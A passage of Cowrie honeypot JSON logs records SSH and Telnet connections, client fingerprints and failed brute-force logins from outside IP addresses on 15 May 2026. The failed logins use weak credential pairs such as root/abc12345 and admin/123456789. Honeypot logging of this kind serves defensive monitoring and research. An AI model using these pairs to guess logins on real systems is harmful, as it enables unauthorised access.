084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:03.817921Z","src_ip":"20.65.224.144","session":"c2a703bbeb49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.224.144","src_port":56294,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b97542204e8","protocol":"ssh","message":"New connection: 20.65.224.144:56294 (159.203.135.109:22) [session: 0b97542204e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:03.928269Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:03.933669Z","src_ip":"20.65.224.144","session":"0b97542204e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:03.937629Z","src_ip":"20.65.224.144","session":"0b97542204e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40560,"dst_ip":"159.203.135.109","dst_port":22,"session":"945f2754e292","protocol":"ssh","message":"New connection: 192.109.200.237:40560 (159.203.135.109:22) [session: 945f2754e292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:04.282235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:04.289025Z","src_ip":"192.109.200.237","session":"945f2754e292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:04.373640Z","src_ip":"192.109.200.237","session":"945f2754e292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:04.626413Z","src_ip":"192.109.200.237","session":"945f2754e292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69819355010986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:04.962340Z","src_ip":"50.6.8.71","session":"ed1c8b6560bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:05.719678Z","src_ip":"192.109.200.237","session":"945f2754e292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49732,"dst_ip":"10.17.0.5","dst_port":23,"session":"1671c40e3692","protocol":"telnet","message":"New connection: 50.6.8.71:49732 (10.17.0.5:23) [session: 1671c40e3692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:06.673159Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40566,"dst_ip":"159.203.135.109","dst_port":22,"session":"6728b267aab3","protocol":"ssh","message":"New connection: 192.109.200.237:40566 (159.203.135.109:22) [session: 6728b267aab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:07.777923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:07.785067Z","src_ip":"192.109.200.237","session":"6728b267aab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:07.869654Z","src_ip":"192.109.200.237","session":"6728b267aab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:08.268834Z","src_ip":"192.109.200.237","session":"6728b267aab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45536,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a097c1b30d","protocol":"telnet","message":"New connection: 50.6.8.71:45536 (10.17.0.5:23) [session: 90a097c1b30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:08.766068Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:09.355784Z","src_ip":"192.109.200.237","session":"6728b267aab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45030,"dst_ip":"159.203.135.109","dst_port":22,"session":"250f963c74ce","protocol":"ssh","message":"New connection: 192.109.200.237:45030 (159.203.135.109:22) [session: 250f963c74ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:11.330824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:11.335917Z","src_ip":"192.109.200.237","session":"250f963c74ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:11.421166Z","src_ip":"192.109.200.237","session":"250f963c74ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:11.668347Z","src_ip":"192.109.200.237","session":"250f963c74ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:12.829553Z","src_ip":"192.109.200.237","session":"250f963c74ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:13.759669Z","src_ip":"20.65.224.144","session":"c2a703bbeb49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45036,"dst_ip":"159.203.135.109","dst_port":22,"session":"47954b82b551","protocol":"ssh","message":"New connection: 192.109.200.237:45036 (159.203.135.109:22) [session: 47954b82b551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:14.852643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:14.862091Z","src_ip":"192.109.200.237","session":"47954b82b551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:14.947855Z","src_ip":"192.109.200.237","session":"47954b82b551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:15.246403Z","src_ip":"192.109.200.237","session":"47954b82b551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:16.335118Z","src_ip":"192.109.200.237","session":"47954b82b551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45040,"dst_ip":"159.203.135.109","dst_port":22,"session":"92625925d343","protocol":"ssh","message":"New connection: 192.109.200.237:45040 (159.203.135.109:22) [session: 92625925d343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:18.581491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:18.586630Z","src_ip":"192.109.200.237","session":"92625925d343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:18.673533Z","src_ip":"192.109.200.237","session":"92625925d343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:18.924968Z","src_ip":"192.109.200.237","session":"92625925d343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:20.011587Z","src_ip":"192.109.200.237","session":"92625925d343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45000,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8cafc43ca86","protocol":"ssh","message":"New connection: 192.109.200.237:45000 (159.203.135.109:22) [session: f8cafc43ca86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:22.021253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:22.027395Z","src_ip":"192.109.200.237","session":"f8cafc43ca86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:22.111645Z","src_ip":"192.109.200.237","session":"f8cafc43ca86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:22.362745Z","src_ip":"192.109.200.237","session":"f8cafc43ca86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:23.448905Z","src_ip":"192.109.200.237","session":"f8cafc43ca86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45012,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7062e2ea32e","protocol":"ssh","message":"New connection: 192.109.200.237:45012 (159.203.135.109:22) [session: c7062e2ea32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:25.658803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:25.664037Z","src_ip":"192.109.200.237","session":"c7062e2ea32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:25.753649Z","src_ip":"192.109.200.237","session":"c7062e2ea32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:26.001825Z","src_ip":"192.109.200.237","session":"c7062e2ea32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:27.088490Z","src_ip":"192.109.200.237","session":"c7062e2ea32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45042,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef87fa5329e8","protocol":"ssh","message":"New connection: 192.109.200.237:45042 (159.203.135.109:22) [session: ef87fa5329e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:29.146941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:20:29.151721Z","src_ip":"192.109.200.237","session":"ef87fa5329e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 